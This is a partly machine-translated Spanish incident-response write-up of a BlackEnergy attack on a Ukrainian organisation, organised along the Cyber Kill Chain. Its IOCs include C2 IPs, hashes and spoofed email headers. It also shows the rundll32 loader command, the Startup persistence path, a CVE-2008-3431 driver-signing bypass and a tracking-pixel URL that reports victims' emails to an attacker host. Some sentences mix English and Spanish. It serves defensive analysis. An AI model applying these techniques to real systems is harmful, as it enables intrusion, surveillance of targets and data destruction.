DESMANTELANDO BLACKENERGY, PARTE 3 – ¡TODOS A BORDO!

Abordaje  – the act of abordando una nave enemiga barco as parte of an ataque.

In today’s post, I will describe a part of investigation of one cyber security incident that has eventually evolved into a global investigation connected with an attack based on BlackEnergy that has hit a number of industries in Ukraine. As we progressed through investigation and performed a systematic retrospective analysis, we have mapped the attack to the Lockheed Martin’s Cyber Kill Chain methodology and thus I will refer to its structure during my story.

PRÓLOGO

Aquí va la historia. Debo mantener un cierto nivel de discreción, por lo que los nombres de usuario y los nombres de los servidores de infraestructura están enmascarados y alterados. Sin embargo, las fechas y las direcciones IP externas no se alteran y las comparto tal como aparecieron en los archivos de registro. Teníamos el siguiente plan de acción: a medida que descubrimos cualquier Indicador de Compromiso (IOC), lo cruzamos con los datos de registro y, basándonos en cualquier descubrimiento adicional, corregimos nuestros filtros y luego lanzamos otra búsqueda. Sistémicamente revisamos gigabytes de registros y el panorama general comenzó a aparecer más claramente para nosotros, que ahora voy a compartir con ustedes en este artículo.

El domingo por la mañana del 25 de octubre, recibí una llamada de nuestro departamento de administración de TI con un mensaje de que los servidores del controlador de dominio se habían apagado repentinamente durante la noche y nunca se volvieron a encender. Cuando nuestro equipo llegó al sitio, lo primero que pedimos fueron las imágenes de los servidores «caídos» (por supuesto, teníamos imágenes virtuales). El análisis inicial indicó claramente que ambos servidores tenían su MBR sobrescrito. Logramos recuperar el MBR aplicando un poco de magia práctica de TestDisk (https://en.wikipedia.org/wiki/TestDisk) y procedimos con el análisis. Las cosas se pusieron más interesantes. La mayoría de los archivos en el disco estaban llenos de ceros, ¡así que todos parecían archivos iguales con el mismo tamaño pero por dentro solo había ceros! Entre los archivos que sobrevivieron, algunos archivos de registro de eventos sirvieron como nuestro punto de partida para comenzar a mapear todos los eventos anómalos en la línea de tiempo. Describiré los indicadores descubiertos en orden inverso, desde el momento en que ocurrió el incidente hasta el principio (penetración).

CAPÍTULO 1. ACCIONES Y OBJETIVOS DEL ATAQUE

Mientras trabajábamos con los datos de registro de los controladores de dominio recuperados, recibimos otra llamada indicando que otro servidor había sido «infectado» con síntomas similares, esta vez, sin embargo, era un servidor de aplicaciones. Por lo tanto, obtuvimos una imagen de este servidor también:
Analizamos los eventos que ocurrieron justo antes del «fallo» y los mapeamos en nuestra línea de tiempo:Déjame explicar un poco qué es exactamente lo que se muestra aquí. Un área con borde azul marca los resultados de las acciones que hemos presenciado como fallos del servidor. Justo antes del apagado, se registraron intentos de inicio de sesión no autorizados desde cuentas de administración de dominio. Las acciones realizadas incluyen la modificación del svchost.exe servicio y la generación del servicio secundario msDefenderSvc:

https://www.virustotal.com/en/file/f52869474834be5a6b5df7f8f0c46cbc7e9b22fa5cb30bee0f363ec6eb056b95/analysis/A la izquierda, hay otro evento de interés que demuestra que la política global fue modificada:

Sin hacer una suposición difícil y al observar el contenido del script, vemos que cuando un usuario inicia sesión en su PC, un archivo llamado ololo.exe (que he revertido parcialmente y descrito aquí: https://socprime.com/en/blog/dismantling-killdisk-reverse-of-the-blackenergy-destructive-component/) se descargará automáticamente desde un recurso compartido de red.

Además, al analizar los registros de las estaciones de trabajo (adelantándome un poco quiero decir que hemos revisado a través de los registros de más de cien estaciones de trabajo) hemos descubierto la siguiente anomalía: un conjunto de eventos originados por usuarios privilegiados que modificaron tareas programadas en las PC de los usuarios:

Así es como se veía el evento en los registros del controlador de dominio:

Además, así es como se veía en la PC del usuario:

Esto fue básicamente un «golpe mortal», por si acaso el controlador de dominio no llegara a completar su tarea y fallara antes de poder distribuir la política de grupo a las estaciones de trabajo. Como resultado, podemos mapear claramente esta parte del ataque a las «Acciones sobre Objetivos» del modelo de Cadenas de Ataque. En este caso, el objetivo es destruir los datos en la mayor cantidad posible de PC.

CAPÍTULO 2. «INSTALACIÓN Y EXPLOTACIÓN» TAMBIÉN CONOCIDO COMO DESPLEGAR BLACKENERGY EXPLOTANDO VULNERABILIDADES.

¿Qué sucedió antes de que los adversarios obtuvieran acceso a los servidores? Al analizar los registros de eventos, descubrimos la siguiente secuencia de eventos:Descripción de las etapas del ataque numeradas:

1 y 2 – acceso VPN no autorizado e inmediatamente acceso RDP a los controladores de dominio

3 – instalación de VBoxDrv.sys (servicio CVE-2008-3431). Este paso fue necesario para eludir el DSE (Enforcement de Firma de Controlador es una verificación obligatoria de las firmas de los controladores) sin un reinicio ( http://www.coresecurity.com/content/virtualbox-privilege-escalation-vulnerability ).

4 – dado que el DSE está neutralizado como parte del paso anterior, la instalación de controladores autofirmados adpu320.sys and amdide.sys ya no será un problema.

Ambos archivos .sys producen el mismo valor de hash. A partir del 06.11.2015 solo 2 soluciones antivirus podrían detectarlos, pero incluso entonces estaba claro que estamos tratando con BlackEnergy (ambos controladores de dominio tenían una solución antivirus en ejecución pero no era una de esos 2 AV’s que podrían atraparlo):4 días después ya 12 antivirus detectaban estas muestras.

Por lo tanto, podemos concluir que esta fase del ataque se puede mapear exitosamente a las etapas de la Cadenas de Ataque Cibernético de «Instalación» y «Explotación».

CAPÍTULO 3. «ACCIONES SOBRE OBJETIVOS», «RECONOCIMIENTO»

Es obvio que las cuentas de administrador fueron comprometidas y es razonable sospechar que sus estaciones de trabajo también fueron objeto de acceso no autorizado. Basado en el análisis de los registros de sus estaciones de trabajo (y unos pocos cientos de otras estaciones de trabajo) se descubrió una actividad anómala relacionada con el uso de la utilidad de gestión remota de Sysinternals suite PsExec fue descubierta:

La línea de tiempo anterior muestra un fragmento de la actividad relacionada con la recopilación de datos de las estaciones de trabajo.

Y así es como se ve el evento en los registros de la estación de trabajo:

Esta fase se puede mapear al modelo de Cadenas de Ataque Cibernético nuevamente, respectivamente correspondiente al «Reconocimiento» y «Acciones sobre Objetivos» (siendo los objetivos la recopilación de datos sobre infraestructura y usuarios). Mapeé esta fase también al «Reconocimiento» ya que hay una alta sospecha de que los adversarios han reunido datos adicionales de las estaciones de trabajo para avanzar en su ataque.

CAPÍTULO 4. «COMANDO Y CONTROL (C2)», COMUNICACIÓN CON LOS SERVIDORES DE BLACKENERGY

Realizamos un análisis paralelo de los registros de las estaciones de trabajo y los registros de firewall. Dado que estaba claro que BlackEnergy se usó para atacarnos, utilizamos toda la investigación y artículos publicados sobre este asunto para verificar las comunicaciones con centros de comando conocidos:Como se ve en esta parte de la línea de tiempo, seguimos el historial del ataque hasta mayo de 2015. El 15.05.2015 es el día donde la primera comunicación con uno de los conocidos servidores de comando y control que también es parte de la red Tor (5.149.254.114).

Desafortunadamente, una estación de trabajo que realizó comunicación con este centro de comando también contenía un archivo con contraseñas para varios perfiles de YouTube y el 22.05.2015 esas cuentas fueron secuestradas. El hackeo se llevó a cabo desde otros dos servidores 185.61.138.143 and 46.28.68.158 (nodos de Tor nuevamente) se usaron direcciones de correo electrónico falsas y números de teléfono de recuperación. No hubo ningún daño particular causado por el ataque y durante ese tiempo, ni siquiera parecía un hackeo dirigido. Las cuentas se recuperaron rápidamente, se añadió la autenticación de 2 factores, se sacaron conclusiones y el incidente se mantuvo cerrado hasta noviembre de 2015: ¡el día en que claramente se convirtió en una pieza de un rompecabezas más grande!

Creo que esta fase del ataque se puede categorizar como «Comando y Control (C2)»:

CAPÍTULO 5. «ENTREGA» DE LOS MÓDULOS DE BLACKENERGY

Recuperamos una lista de todas las estaciones de trabajo que realizaron comunicaciones con servidores de comando de los registros de firewall y construimos un filtro basado en las direcciones IP de estas estaciones de trabajo, este filtro se usó para buscar a través de toda la actividad que estas máquinas condujeron en todo 2015 con el objetivo de encontrar anomalías y patrones. Se encontraron los patrones. Un enlace común (aparte del número de servidores ordinarios como Google o Facebook/VK/Twitter, etc.) parecía ser un solo servidor con una IP de 176.53.127.194 (¡y nuevamente este es un nodo Tor!):

El 23.04.2015 uno de los empleados recibió un correo electrónico ordinario, que mostró algunos detalles interesantes después de un examen más minucioso (por supuesto, durante el tiempo de la investigación, más de medio año después de que se abrió el correo electrónico):
Primero, echemos un vistazo a los encabezados de correos electrónicos:

Recibido: desde mx1-mail.com (mx1-mail.com [5.149.248.67]) Thu, 23 Apr 2015 09:43:45 +0300

Recibido: desde webmail.rada.gov.ua (port=80 helo=webmail.rada.gov.ua)

por mx1-mail.com [5.149.248.67] con esmtp (envelope-from <info@rada.gov.ua>)

De: «info@rada.gov.ua» <info@rada.gov.ua>

Return-Path: info@rada.gov.ua

5.149.248.67 – una dirección IP ya conocida que se utilizó para enviar correos electrónicos similares a otras organizaciones (https://cys-centrum.com/ru/news/black_energy_2_3).

En cuanto al adjunto, un archivo .xls contiene la siguiente macro:

By putting together all 864 elements of the array А, as an output we will receive vba_macro.exe, que de hecho es un BlackEnergy dropper

https://www.virustotal.com/ru/file/ca7a8180996a98e718f427837f9d52453b78d0a307e06e1866db4d4ce969d525/analysis/1458721530/

https://www.hybrid-analysis.com/sample/ca7a8180996a98e718f427837f9d52453b78d0a307e06e1866db4d4ce969d525?environmentId=1El dropper inicia una conexión a un centro de comando ya conocido por nosotros:Después, el malware recibe más “instrucciones”, forma un archivo llamado FONTCACHE.DAT, y lo carga utilizando rundll32.exe ya que FONTCACHE.DAT es de hecho una variación de packet.dll – desde la Enciclopedia de Hackers 2002, desarrollado por Whirlwind Software para Windows OS:C:WINDOWSsystem32rundll32.exe C:WINDOWSsystem32rundll32.exe" "C:Documents and Settings<USER>Local SettingsApplication DataFONTCACHE.DAT"Luego lo escribe en Inicio:C:Documents and Settings<USER>Start MenuProgramsStartup{22A16F66-CB92-4B66-8BDE-26B5CD34553F}.lnkAhora echemos un vistazo más detallado a la imagen en el pie de página del correo electrónico que no logró cargarse:Un enlace a nuestra “imagen” se ve así:src="http://176.53.127.194/bWFpbF9pdmFub3YuaXZhbkBkb21lbi51YQ==.pngDespués de una decodificación Base64 se convierte en:src="http://176.53.127.194/mail_ivanov.ivan@domen.ua.pngPor lo tanto, esta es una alerta para los adversarios que confirma el hecho de que Ivan Ivanov ha abierto exitosamente un correo electrónico y está listo para “recibir más instrucciones”.

Quiero una vez más subrayar que solo hubo un correo electrónico en abril y solo tuvo un destinatario.

Ahora veamos los correos electrónicos que se recibieron en julio (envío masivo a más de 2000 direcciones). Un patrón común es que todos los correos electrónicos contenían el mismo “farol” que reportaba a la misma IP (176.53.127.194) e identificaba precisamente al destinatario. Así que no fue solo una campaña de spam, sino una campaña dirigida, y la única parte que fue diferente es la ausencia del prefijo ”mail_” en el mensaje decodificado:

La misma dirección IP en el encabezado:

Received: from mx1-mail.com (mx1-mail.com [5.149.248.67]) by

Received: from webmail.rada.gov.ua (port=80 helo=webmail.rada.gov.ua)

by  mx1-mail.com [5.149.248.67] con esmtp (envelope-from  <pravyysektor@rada.gov.ua>)

From: «pravyysektor@rada.gov.ua» <pravyysektor@rada.gov.ua>

Date: Tue, 28 Jul 2015 09:08:38 +0200

Return-Path: pravyysektor@rada.gov.ua

Contenido de la carta que muestra claramente nuestro “farol”:A pesar del hecho de que el correo masivo estaba dirigido a toda la empresa, obviamente, era spam y el correo electrónico con tal texto está prohibido de abrir, aún así algunos usuarios abrieron el correo, lo que provocó un estallido de comunicación con un centro de comando y control conocido:Como se observó en la línea de tiempo, la primera comunicación descargó 28 863 bytes, la próxima ya 359 276 bytes, etc. Las comunicaciones tenían una secuencia clara y una estructura clara:

No hay duda de clasificar esta etapa del ataque como “Entrega”:

Como podemos ver, el ataque tiene todas las señales de la estructura APT que se puede describir claramente utilizando la metodología del Cyber Kill Chain.

EVALUACIÓN DE LAS CONSECUENCIAS

En el lado negativo: los datos fueron destruidos en dos controladores de dominio, un servidor de aplicaciones y un poco más de una docena de PC.En el lado positivo de las cosas: obtuvimos una prueba de penetración gratuita, una experiencia invaluable de una investigación real de APT, creamos/ajustamos una serie de herramientas que no solo automatizan nuestro trabajo con el procesamiento de registros sino también el análisis inverso de malware (pero me estoy adelantando, esto es un tema para otro artículo completo). La gestión logró una mucho mejor comprensión del propósito de InfoSec (¡invaluable!). Esta única demostración de una amenaza real y la investigación que siguió nos ha ayudado más que la expresión previa de preocupaciones o amenazas hipotéticas. El trabajo en equipo minucioso con los administradores de TI ha llevado nuestra colaboración profesional al siguiente nivel. Por lo tanto, considero estos eventos un verdadero entrenamiento de combate cibernético y las mejores lecciones para obtener un entendimiento real de los métodos y técnicas del adversario.

Como conclusión, quiero decir que muchas cosas quedan fuera del artículo y algunas piezas están aún siendo estudiadas minuciosamente.

Hay dos objetivos que quiero lograr al publicar esta investigación:

1. Mostrar que por un lado, BlackEnergy no es un mega-monstruo que puede ser arrojado a un planeta inhabitable y que puede, medio año después, construir su propia base de operaciones que le permita sobrevivir 🙂 Por otro lado, es una herramienta poderosa y especializada que en manos de un especialista puede causar un daño masivo a la víctima del ataque.
2. Enfatizar que un ataque que utiliza BlackEnergy es solo uno de los ejemplos de la evolución de las tecnologías que son activamente utilizadas por los ciberdelincuentes. Estos no son simples asaltos cibernéticos, estamos tratando con operaciones finamente organizadas y planificadas con precisión, similares a las realizadas por las fuerzas especiales militares (la imagen del artículo fue elegida por esta asociación).

Basado en lo anterior, podemos construir uno de los escenarios de uso de tal información: ¿por qué alguien necesitaría hackear un banco cuando uno puede simplemente comprar una entrada a la infraestructura de cualquier empresa de cadena de suministro, que tenga una conexión VPN de sitio a sitio constante y recibir un acceso “oficialmente autorizado” (podemos referirnos a la caricatura sobre un banco y un conserje: https://www.youtube.com/watch?v=fB2b-lTjCQA ).

Como de costumbre, estaría agradecido a todos los que revisen sus datos de registro por los indicadores mencionados (IOC’s) después de leer el artículo.

En los artículos de seguimiento compartiré algunos métodos que permiten detectar ciertos indicadores de las actividades del adversario que fueron descritas y permiten construir un complejo de medidas organizativas y técnicas destinadas a minimizar la probabilidad de que tengan lugar tales incidentes en una organización, o al menos aumentar la probabilidad de su descubrimiento rápido.

AGRADECIMIENTOS

Un enorme agradecimiento a mis colegas por su entusiasmo, perseverancia y un trabajo bien hecho. Quiero expresar un agradecimiento especial a Marina Krotofil y al equipo de Andrii Bezverkhyi por su asistencia en la preparación del análisis y el artículo. Agradecimientos adicionales a HPE , LanTec and SOC Prime por la ayuda material y técnica con hardware y software que fueron proporcionados durante la investigación y el contrataque.

Traducido del original por Andrii Bezverkhyi | CEO SOC Prime